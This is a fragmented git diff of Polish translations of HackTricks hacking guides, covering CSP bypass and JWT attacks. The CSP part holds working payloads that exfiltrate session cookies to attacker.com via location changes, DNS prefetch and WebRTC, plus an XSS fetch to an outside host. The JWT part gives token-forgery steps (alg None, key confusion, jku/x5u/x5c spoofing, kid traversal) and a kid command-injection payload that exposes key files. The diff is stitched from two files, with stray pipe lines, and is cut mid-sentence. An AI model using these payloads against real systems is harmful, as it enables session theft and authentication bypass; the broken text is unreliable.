Bądź na bieżąco z najnowszymi programami nagród za błędy i istotnymi aktualizacjami platformy
|
||||||
|
|
||||||
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
|
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
|
||||||
|
|
||||||
|
@ -641,7 +660,7 @@ Pomysł z [**tego writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Bab
|
||||||
|
|
||||||
### Przepisanie Strony Błędu
|
### Przepisanie Strony Błędu
|
||||||
|
|
||||||
Z [**tego writeup**](https://blog.ssrf.kr/69) wynika, że było możliwe ominięcie ochrony CSP poprzez załadowanie strony błędu (potencjalnie bez CSP) i przepisanie jej zawartości.
|
Z [**tego writeup**](https://blog.ssrf.kr/69) wygląda na to, że było możliwe ominięcie ochrony CSP poprzez załadowanie strony błędu (potencjalnie bez CSP) i przepisanie jej zawartości.
|
||||||
```javascript
|
```javascript
|
||||||
a = window.open('/' + 'x'.repeat(4100));
|
a = window.open('/' + 'x'.repeat(4100));
|
||||||
setTimeout(function() {
|
setTimeout(function() {
|
||||||
|
@ -650,22 +669,22 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
||||||
```
|
```
|
||||||
### SOME + 'self' + wordpress
|
### SOME + 'self' + wordpress
|
||||||
|
|
||||||
SOME to technika, która nadużywa XSS (lub bardzo ograniczonego XSS) **w punkcie końcowym strony** do **nadużycia** **innych punktów końcowych tego samego pochodzenia.** Polega to na załadowaniu podatnego punktu końcowego z strony atakującego, a następnie odświeżeniu strony atakującego do rzeczywistego punktu końcowego w tym samym pochodzeniu, który chcesz nadużyć. W ten sposób **podatny punkt końcowy** może użyć obiektu **`opener`** w **ładunku** do **uzyskania dostępu do DOM** rzeczywistego punktu końcowego do nadużycia. Aby uzyskać więcej informacji, sprawdź:
|
SOME to technika, która nadużywa XSS (lub bardzo ograniczonego XSS) **w punkcie końcowym strony** do **nadużycia** **innych punktów końcowych tego samego pochodzenia.** Polega to na załadowaniu podatnego punktu końcowego z strony atakującego, a następnie odświeżeniu strony atakującego do rzeczywistego punktu końcowego w tym samym pochodzeniu, który chcesz nadużyć. W ten sposób **podatny punkt końcowy** może użyć obiektu **`opener`** w **ładunku** do **dostępu do DOM** rzeczywistego punktu końcowego do nadużycia. Aby uzyskać więcej informacji, sprawdź:
|
||||||
|
|
||||||
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
||||||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Co więcej, **wordpress** ma punkt końcowy **JSONP** w `/wp-json/wp/v2/users/1?_jsonp=data`, który **odbije** **dane** wysłane w wyniku (z ograniczeniem tylko liter, cyfr i kropek).
|
Co więcej, **wordpress** ma punkt końcowy **JSONP** w `/wp-json/wp/v2/users/1?_jsonp=data`, który **odzwierciedla** **dane** wysłane w wyniku (z ograniczeniem tylko liter, cyfr i kropek).
|
||||||
|
|
||||||
Atakujący może nadużyć tego punktu końcowego, aby **wykonać atak SOME** na WordPress i **osadzić** go wewnątrz `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`, zauważ, że ten **skrypt** zostanie **załadowany**, ponieważ jest **dozwolony przez 'self'**. Co więcej, ponieważ WordPress jest zainstalowany, atakujący może nadużyć **ataku SOME** poprzez **podatny** **punkt końcowy wywołania zwrotnego**, który **omija CSP**, aby nadać więcej uprawnień użytkownikowi, zainstalować nowy wtyczkę...\
|
Atakujący może nadużyć tego punktu końcowego, aby **wykonać atak SOME** na WordPress i **osadzić** go wewnątrz `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`, zauważ, że ten **skrypt** zostanie **załadowany**, ponieważ jest **dozwolony przez 'self'**. Co więcej, ponieważ WordPress jest zainstalowany, atakujący może nadużyć **ataku SOME** poprzez **podatny** **punkt końcowy wywołania zwrotnego**, który **omija CSP** w celu nadania większych uprawnień użytkownikowi, zainstalowania nowego wtyczki...\
|
||||||
Aby uzyskać więcej informacji na temat wykonania tego ataku, sprawdź [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
Aby uzyskać więcej informacji na temat wykonania tego ataku, sprawdź [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||||
|
|
||||||
## Bypassy eksfiltracji CSP
|
## Bypassy eksfiltracji CSP
|
||||||
|
|
||||||
Jeśli istnieje surowy CSP, który nie pozwala ci **interagować z zewnętrznymi serwerami**, zawsze możesz zrobić kilka rzeczy, aby eksfiltrować informacje.
|
Jeśli istnieje surowy CSP, który nie pozwala ci **interagować z zewnętrznymi serwerami**, zawsze istnieją pewne rzeczy, które możesz zrobić, aby eksfiltrować informacje.
|
||||||
|
|
||||||
### Location
|
### Lokalizacja
|
||||||
|
|
||||||
Możesz po prostu zaktualizować lokalizację, aby przesłać na serwer atakującego tajne informacje:
|
Możesz po prostu zaktualizować lokalizację, aby przesłać na serwer atakującego tajne informacje:
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -674,40 +693,22 @@ document.location = "https://attacker.com/?" + sessionid;
|
||||||
```
|
```
|
||||||
### Meta tag
|
### Meta tag
|
||||||
|
|
||||||
Możesz przekierować, wstrzykując meta tag (to jest tylko przekierowanie, nie ujawni to zawartości)
|
Możesz przekierować poprzez wstrzyknięcie meta tagu (to jest tylko przekierowanie, nie ujawni to zawartości)
|
||||||
```html
|
```html
|
||||||
<meta http-equiv="refresh" content="1; http://attacker.com">
|
<meta http-equiv="refresh" content="1; http://attacker.com">
|
||||||
```
|
```
|
||||||
### Prefetch DNS
|
### DNS Prefetch
|
||||||
|
|
||||||
Aby szybciej ładować strony, przeglądarki będą wstępnie rozwiązywać nazwy hostów na adresy IP i buforować je do późniejszego użycia.\
|
Aby szybciej ładować strony, przeglądarki będą wstępnie rozwiązywać nazwy hostów na adresy IP i buforować je do późniejszego użycia.\
|
||||||
Możesz wskazać przeglądarce, aby wstępnie rozwiązała nazwę hosta za pomocą: `<link rel="dns-prefetch" href="something.com">`
|
Możesz wskazać przeglądarce, aby wstępnie rozwiązała nazwę hosta za pomocą: `<link rel="dns-prefetch" href="something.com">`
|
||||||
|
|
||||||
Możesz nadużyć tego zachowania do **wycieku wrażliwych informacji za pomocą żądań DNS**:
|
Możesz nadużyć tego zachowania do **wycieku wrażliwych informacji poprzez żądania DNS**:
|
||||||
```javascript
|
```javascript
|
||||||
var sessionid = document.cookie.split('=')[1]+".";
|
var sessionid = document.cookie.split('=')[1]+".";
|
||||||
var body = document.getElementsByTagName('body')[0];
|
var body = document.getElementsByTagName('body')[0];
|
||||||
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
|
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
|
||||||
```
|
```
|
||||||
### Bypassing Content Security Policy (CSP)
|
Inny sposób:
|
||||||
|
|
||||||
#### Introduction
|
|
||||||
|
|
||||||
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a specific page. However, there are ways to bypass CSP protections and execute malicious code on a target website.
|
|
||||||
|
|
||||||
#### Bypass Techniques
|
|
||||||
|
|
||||||
1. **Inline Script Execution**: By finding and exploiting a way to execute inline scripts, an attacker can bypass CSP restrictions that prohibit inline script execution.
|
|
||||||
|
|
||||||
2. **Unsafe Inline Directive**: Some websites use the `unsafe-inline` directive in their CSP policy to allow inline scripts. This can be exploited by an attacker to inject and execute malicious scripts.
|
|
||||||
|
|
||||||
3. **Data: URI Scheme**: The `data:` URI scheme can be used to embed external resources directly within a web page. Attackers can leverage this technique to bypass CSP restrictions on loading external resources.
|
|
||||||
|
|
||||||
4. **Nonce-based Bypass**: Websites that use nonces in their CSP headers to allowlist specific scripts can be vulnerable to bypass if the nonce value can be predicted or controlled by an attacker.
|
|
||||||
|
|
||||||
#### Conclusion
|
|
||||||
|
|
||||||
While Content Security Policy (CSP) is an effective security measure to protect web applications from various attacks, it is important for web developers to understand the potential bypass techniques that attackers may use to circumvent CSP protections. Regular security assessments and testing can help identify and mitigate these vulnerabilities before they are exploited.
|
|
||||||
```javascript
|
```javascript
|
||||||
const linkEl = document.createElement('link');
|
const linkEl = document.createElement('link');
|
||||||
linkEl.rel = 'prefetch';
|
linkEl.rel = 'prefetch';
|
||||||
|
@ -730,7 +731,7 @@ W rzeczywistości możesz _wyciekać_ informacje za pomocą _żądania DNS_. Spr
|
||||||
```javascript
|
```javascript
|
||||||
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
|
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
|
||||||
```
|
```
|
||||||
Inna opcja:
|
Inny sposób:
|
||||||
```javascript
|
```javascript
|
||||||
var pc = new RTCPeerConnection({
|
var pc = new RTCPeerConnection({
|
||||||
"iceServers":[
|
"iceServers":[
|
||||||
|
@ -768,10 +769,10 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
|
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
|
||||||
|
|
||||||
**Spojrzenie na Hacking**\
|
**Spojrzenie na Hacking**\
|
||||||
Zanurz się w treści, które zgłębiają emocje i wyzwania związane z hakerstwem
|
Zanurz się w treści, które zgłębiają emocje i wyzwania związane z hakowaniem
|
||||||
|
|
||||||
**Aktualności z Hackingu na Żywo**\
|
**Aktualności z Hackingu na Żywo**\
|
||||||
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnościom i spojrzeniom na żywo
|
Bądź na bieżąco z szybkim tempem świata hakowania dzięki aktualnościom i spojrzeniom na żywo
|
||||||
|
|
||||||
**Najnowsze Ogłoszenia**\
|
**Najnowsze Ogłoszenia**\
|
||||||
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platform
|
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platform
|
||||||
|
|
|
@ -7,16 +7,16 @@
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Jeśli interesuje Cię **kariera w dziedzinie hakowania** i hakowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego, zarówno pisanego, jak i mówionego_).
|
Jeśli interesuje Cię **kariera w dziedzinie hakowania** i hakowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -35,13 +35,13 @@ Jeśli masz szczęście, narzędzie znajdzie przypadki, w których aplikacja int
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (932).png>)
|
![](<../.gitbook/assets/image (932).png>)
|
||||||
|
|
||||||
Następnie możesz wyszukać żądanie w swoim proxy lub wyciągnąć użyty JWT dla tego żądania, korzystając z narzędzia jwt\_ tool:
|
Następnie możesz wyszukać żądanie w swoim proxy lub wyciągnąć użyty JWT dla tego żądania za pomocą narzędzia jwt\_ tool:
|
||||||
```bash
|
```bash
|
||||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||||
```
|
```
|
||||||
### Modyfikacja danych bez zmiany niczego
|
### Modyfikacja danych bez zmiany niczego
|
||||||
|
|
||||||
Możesz po prostu zmieniać dane, pozostawiając sygnaturę bez zmian i sprawdzać, czy serwer sprawdza sygnaturę. Spróbuj zmienić swoją nazwę użytkownika na "admin" na przykład.
|
Możesz po prostu zmieniać dane, pozostawiając sygnaturę bez zmian i sprawdzić, czy serwer sprawdza sygnaturę. Spróbuj zmienić swoją nazwę użytkownika na "admin" na przykład.
|
||||||
|
|
||||||
#### **Czy token jest sprawdzany?**
|
#### **Czy token jest sprawdzany?**
|
||||||
|
|
||||||
|
@ -60,17 +60,17 @@ Ważne jest ustalenie, czy token został wygenerowany po stronie serwera czy po
|
||||||
|
|
||||||
### Czas trwania
|
### Czas trwania
|
||||||
|
|
||||||
Sprawdź, czy token trwa dłużej niż 24 godziny... może nigdy nie wygasać. Jeśli istnieje pole "exp", sprawdź, czy serwer poprawnie je obsługuje.
|
Sprawdź, czy token trwa dłużej niż 24 godziny... może nigdy nie wygasa. Jeśli istnieje pole "exp", sprawdź, czy serwer poprawnie je obsługuje.
|
||||||
|
|
||||||
### Brutalne złamanie tajnego klucza HMAC
|
### Brutalne narzędzie do odgadywania tajnego klucza HMAC
|
||||||
|
|
||||||
[Zobacz tę stronę.](../generic-methodologies-and-resources/brute-force.md#jwt)
|
[Zobacz tę stronę.](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||||
|
|
||||||
### Zmiana algorytmu na None (CVE-2015-9235)
|
### Zmiana algorytmu na None
|
||||||
|
|
||||||
Ustaw używany algorytm jako "None" i usuń część sygnatury.
|
Ustaw używany algorytm jako "None" i usuń część sygnatury.
|
||||||
|
|
||||||
Użyj rozszerzenia Burp o nazwie "JSON Web Token", aby wypróbować tę podatność i zmienić różne wartości wewnątrz JWT (wyślij żądanie do Repeater, a w karcie "JSON Web Token" możesz modyfikować wartości tokena. Możesz również wybrać wartość pola "Alg" jako "None").
|
Użyj rozszerzenia Burp o nazwie "JSON Web Token", aby wypróbować tę podatność i zmienić różne wartości wewnątrz JWT (wyślij żądanie do Repeater, a w zakładce "JSON Web Token" możesz modyfikować wartości tokena. Możesz również wybrać wartość pola "Alg" jako "None").
|
||||||
|
|
||||||
### Zmiana algorytmu z RS256 (asymetryczny) na HS256 (symetryczny) (CVE-2016-5431/CVE-2016-10555)
|
### Zmiana algorytmu z RS256 (asymetryczny) na HS256 (symetryczny) (CVE-2016-5431/CVE-2016-10555)
|
||||||
|
|
||||||
|
@ -86,21 +86,21 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||||
```
|
```
|
||||||
### Nowy klucz publiczny w nagłówku
|
### Nowy klucz publiczny w nagłówku
|
||||||
|
|
||||||
Atakujący osadza nowy klucz w nagłówku tokena, a serwer używa tego nowego klucza do weryfikacji podpisu (CVE-2018-0114).
|
Atakujący osadza nowy klucz w nagłówku tokena, a serwer używa tego nowego klucza do weryfikacji sygnatury (CVE-2018-0114).
|
||||||
|
|
||||||
Można to zrobić za pomocą rozszerzenia Burp "JSON Web Tokens".\
|
Można to zrobić za pomocą rozszerzenia Burp "JSON Web Tokens".\
|
||||||
(Wyślij żądanie do Repeater, w zakładce JSON Web Token wybierz "CVE-2018-0114" i prześlij żądanie).
|
(Wyślij żądanie do Repeater, w zakładce JSON Web Token wybierz "CVE-2018-0114" i wyślij żądanie).
|
||||||
|
|
||||||
### Podmiana JWKS
|
### Podmiana JWKS
|
||||||
|
|
||||||
Instrukcje opisują metodę oceny bezpieczeństwa tokenów JWT, zwłaszcza tych korzystających z nagłówka "jku". Ten nagłówek powinien odnosić się do pliku JWKS (JSON Web Key Set), który zawiera klucz publiczny niezbędny do weryfikacji tokenu.
|
Instrukcje opisują metodę oceny bezpieczeństwa tokenów JWT, zwłaszcza tych korzystających z nagłówka "jku". Ten nagłówek powinien odnosić się do pliku JWKS (JSON Web Key Set), który zawiera klucz publiczny niezbędny do weryfikacji tokenu.
|
||||||
|
|
||||||
* **Ocena Tokenów z Nagłówkiem "jku"**:
|
* **Ocena Tokenów z Nagłówkiem "jku"**:
|
||||||
* Zweryfikuj adres URL zadeklarowany w nagłówku "jku", aby upewnić się, że prowadzi do odpowiedniego pliku JWKS.
|
* Zweryfikuj URL w deklaracji "jku", aby upewnić się, że prowadzi do odpowiedniego pliku JWKS.
|
||||||
* Zmodyfikuj wartość "jku" tokenu, aby kierować ją do kontrolowanego serwisu internetowego, umożliwiając obserwację ruchu.
|
* Zmodyfikuj wartość "jku" tokenu, aby kierować ją do kontrolowanego serwisu internetowego, umożliwiając obserwację ruchu.
|
||||||
* **Monitorowanie Interakcji HTTP**:
|
* **Monitorowanie Interakcji HTTP**:
|
||||||
* Obserwacja żądań HTTP do określonego adresu URL wskazuje na próby serwera pobrania kluczy z podanego linku.
|
* Obserwacja żądań HTTP do określonego URL wskazuje na próby serwera pobrania kluczy z podanego linku.
|
||||||
* Podczas korzystania z `jwt_tool` w tym procesie, istotne jest zaktualizowanie pliku `jwtconf.ini` z lokalizacją własnego JWKS w celu ułatwienia testów.
|
* Podczas korzystania z `jwt_tool` w tym procesie, istotne jest zaktualizowanie pliku `jwtconf.ini` z lokalizacją Twojego osobistego JWKS w celu ułatwienia testów.
|
||||||
* **Polecenie dla `jwt_tool`**:
|
* **Polecenie dla `jwt_tool`**:
|
||||||
* Wykonaj poniższe polecenie, aby zasymulować scenariusz za pomocą `jwt_tool`:
|
* Wykonaj poniższe polecenie, aby zasymulować scenariusz za pomocą `jwt_tool`:
|
||||||
|
|
||||||
|
@ -110,15 +110,15 @@ python3 jwt_tool.py JWT_TUTAJ -X s
|
||||||
|
|
||||||
### Problemy z "kid"
|
### Problemy z "kid"
|
||||||
|
|
||||||
Opcjonalny nagłówek o nazwie `kid` jest wykorzystywany do identyfikacji konkretnego klucza, co staje się istotne w środowiskach, gdzie istnieje wiele kluczy do weryfikacji podpisu tokenu. Ten nagłówek pomaga w wyborze odpowiedniego klucza do weryfikacji podpisu tokenu.
|
Opcjonalna deklaracja nagłówka znana jako `kid` jest wykorzystywana do identyfikacji konkretnego klucza, co staje się istotne w środowiskach, gdzie istnieje wiele kluczy do weryfikacji sygnatury tokenu. Ta deklaracja pomaga w wyborze odpowiedniego klucza do weryfikacji sygnatury tokenu.
|
||||||
|
|
||||||
#### Ujawnianie Klucza poprzez "kid"
|
#### Ujawnianie Klucza poprzez "kid"
|
||||||
|
|
||||||
Gdy nagłówek `kid` jest obecny, zaleca się przeszukanie katalogu sieciowego w poszukiwaniu odpowiadającego pliku lub jego wariantów. Na przykład, jeśli `"kid":"klucz/12345"` jest określony, należy wyszukać pliki _/klucz/12345_ i _/klucz/12345.pem_ w głównym katalogu sieciowym.
|
Gdy deklaracja `kid` jest obecna w nagłówku, zaleca się wyszukiwanie katalogu sieciowego w poszukiwaniu odpowiadającego pliku lub jego wariantów. Na przykład, jeśli `"kid":"klucz/12345"` jest określony, pliki _/klucz/12345_ i _/klucz/12345.pem_ powinny być wyszukiwane w głównym katalogu sieciowym.
|
||||||
|
|
||||||
#### Traversal ścieżki z "kid"
|
#### Traversal ścieżki z "kid"
|
||||||
|
|
||||||
Nagłówek `kid` może być również wykorzystany do nawigacji po systemie plików, potencjalnie umożliwiając wybór dowolnego pliku. Możliwe jest testowanie łączności lub przeprowadzanie ataków Server-Side Request Forgery (SSRF) poprzez zmianę wartości `kid` w celu celowania w konkretne pliki lub usługi. Zmiana JWT w celu zmiany wartości `kid` zachowując oryginalny podpis może być osiągnięta za pomocą flagi `-T` w jwt\_tool, jak pokazano poniżej:
|
Deklaracja `kid` może również być wykorzystana do nawigacji po systemie plików, potencjalnie umożliwiając wybór dowolnego pliku. Możliwe jest testowanie łączności lub wykonywanie ataków Server-Side Request Forgery (SSRF) poprzez zmianę wartości `kid` w celu celowania w konkretne pliki lub usługi. Zmiana JWT w celu zmiany wartości `kid` zachowując oryginalną sygnaturę może być osiągnięta za pomocą flagi `-T` w jwt\_tool, jak pokazano poniżej:
|
||||||
```bash
|
```bash
|
||||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||||
```
|
```
|
||||||
|
@ -134,7 +134,7 @@ Ta zmiana wymusza użycie znanego klucza tajnego, `ATTACKER`, do podpisywania JW
|
||||||
|
|
||||||
#### Wstrzykiwanie OS poprzez "kid"
|
#### Wstrzykiwanie OS poprzez "kid"
|
||||||
|
|
||||||
Scenariusz, w którym parametr `kid` określa ścieżkę pliku używaną w kontekście wykonania polecenia, może prowadzić do podatności na zdalne wykonanie kodu (RCE). Poprzez wstrzykiwanie poleceń do parametru `kid`, możliwe jest ujawnienie prywatnych kluczy. Przykładowy ładunek do osiągnięcia RCE i ujawnienia kluczy to:
|
Scenariusz, w którym parametr `kid` określa ścieżkę pliku używaną w kontekście wykonania polecenia, może prowadzić do podatności na zdalne wykonanie kodu (RCE). Poprzez wstrzyknięcie poleceń do parametru `kid`, możliwe jest ujawnienie prywatnych kluczy. Przykładowy ładunek do osiągnięcia RCE i ujawnienia kluczy to:
|
||||||
|
|
||||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||||
|
|
||||||
|
@ -151,7 +151,7 @@ openssl genrsa -out keypair.pem 2048
|
||||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||||
```
|
```
|
||||||
Następnie możesz użyć na przykład [**jwt.io**](https://jwt.io) do utworzenia nowego JWT z **utworzonymi kluczami publicznymi i prywatnymi oraz wskazaniem parametru jku na utworzony certyfikat.** Aby utworzyć poprawny certyfikat jku, możesz pobrać oryginalny i zmienić wymagane parametry.
|
Następnie możesz na przykład użyć [**jwt.io**](https://jwt.io), aby utworzyć nowy JWT z **utworzonymi kluczami publicznym i prywatnym oraz wskazując parametr jku na utworzony certyfikat.** Aby utworzyć poprawny certyfikat jku, możesz pobrać oryginalny i zmienić wymagane parametry.
|
||||||
|
|
||||||
Możesz uzyskać parametry "e" i "n" z certyfikatu publicznego, używając:
|
Możesz uzyskać parametry "e" i "n" z certyfikatu publicznego, używając:
|
||||||
```bash
|
```bash
|
||||||
|
@ -164,11 +164,11 @@ print("e:", hex(key.e))
|
||||||
```
|
```
|
||||||
#### x5u
|
#### x5u
|
||||||
|
|
||||||
X.509 URL. URI wskazujący na zestaw publicznych certyfikatów X.509 (standard formatu certyfikatu) zakodowanych w formie PEM. Pierwszy certyfikat w zestawie musi być tym, który został użyty do podpisania tego JWT. Kolejne certyfikaty podpisują poprzedni, co kończy łańcuch certyfikatów. X.509 jest zdefiniowany w RFC 52807. Wymagane jest zabezpieczenie transportu do przesyłania certyfikatów.
|
X.509 URL. URI wskazujący na zestaw publicznych certyfikatów X.509 (standard formatu certyfikatu) zakodowanych w formie PEM. Pierwszy certyfikat w zestawie musi być używany do podpisywania tego JWT. Kolejne certyfikaty podpisują poprzedni, co kończy łańcuch certyfikatów. X.509 jest zdefiniowany w RFC 52807 . Wymagane jest zabezpieczenie transportu do przesyłania certyfikatów.
|
||||||
|
|
||||||
Spróbuj **zmienić ten nagłówek na URL pod twoją kontrolą** i sprawdź, czy otrzymujesz jakieś żądanie. W takim przypadku **możesz sfałszować JWT**.
|
Spróbuj **zmienić ten nagłówek na URL pod twoją kontrolą** i sprawdź, czy otrzymujesz jakieś żądanie. W takim przypadku **możesz sfałszować JWT**.
|
||||||
|
|
||||||
Aby sfałszować nowy token, używając certyfikatu kontrolowanego przez ciebie, musisz utworzyć certyfikat i wyodrębnić klucze publiczny i prywatny:
|
Aby sfałszować nowy token za pomocą certyfikatu kontrolowanego przez ciebie, musisz utworzyć certyfikat i wyodrębnić klucze publiczny i prywatny:
|
||||||
```bash
|
```bash
|
||||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||||
|
@ -177,7 +177,7 @@ Następnie możesz użyć na przykład [**jwt.io**](https://jwt.io), aby utworzy
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (953).png>)
|
![](<../.gitbook/assets/image (953).png>)
|
||||||
|
|
||||||
Możesz również wykorzystać obie te luki **do ataków SSRF**.
|
Możesz również nadużyć obu tych podatności **dla ataków SSRF**.
|
||||||
|
|
||||||
#### x5c
|
#### x5c
|
||||||
|
|
||||||
|
@ -185,7 +185,7 @@ Ten parametr może zawierać **certyfikat w formacie base64**:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (1116).png>)
|
![](<../.gitbook/assets/image (1116).png>)
|
||||||
|
|
||||||
Jeśli atakujący **wygeneruje certyfikat podpisany własnoręcznie** i utworzy sfałszowany token, używając odpowiadającego klucza prywatnego i zastąpi wartość parametru "x5c" nowo wygenerowanym certyfikatem oraz zmodyfikuje inne parametry, mianowicie n, e i x5t, to w rezultacie sfałszowany token zostanie zaakceptowany przez serwer.
|
Jeśli atakujący **wygeneruje certyfikat podpisany własnoręcznie** i utworzy sfałszowany token, używając odpowiadającego klucza prywatnego, a następnie zastąpi wartość parametru "x5c" nowo wygenerowanym certyfikatem i zmodyfikuje inne parametry, mianowicie n, e i x5t, to w rezultacie sfałszowany token zostanie zaakceptowany przez serwer.
|
||||||
```bash
|
```bash
|
||||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||||
openssl x509 -in attacker.crt -text
|
openssl x509 -in attacker.crt -text
|
||||||
|
@ -230,8 +230,8 @@ Oto przykład: [ECDSA: Ujawnienie klucza prywatnego przy użyciu tego samego non
|
||||||
|
|
||||||
### JTI (JWT ID)
|
### JTI (JWT ID)
|
||||||
|
|
||||||
Twierdzenie JTI (JWT ID) zapewnia unikalny identyfikator dla tokenu JWT. Może być używany do zapobiegania ponownemu odtwarzaniu tokenu.\
|
Twierdzenie JTI (JWT ID) zapewnia unikalny identyfikator dla tokenu JWT. Może być używany do zapobiegania odtwarzaniu tokenu.\
|
||||||
Jednak wyobraź sobie sytuację, w której maksymalna długość ID wynosi 4 (0001-9999). Żądanie 0001 i 10001 będą korzystać z tego samego ID. Dlatego jeśli serwer zwiększa ID przy każdym żądaniu, można to wykorzystać do **ponownego odtworzenia żądania** (konieczne jest wysłanie 10000 żądań między każdym udanym odtworzeniem).
|
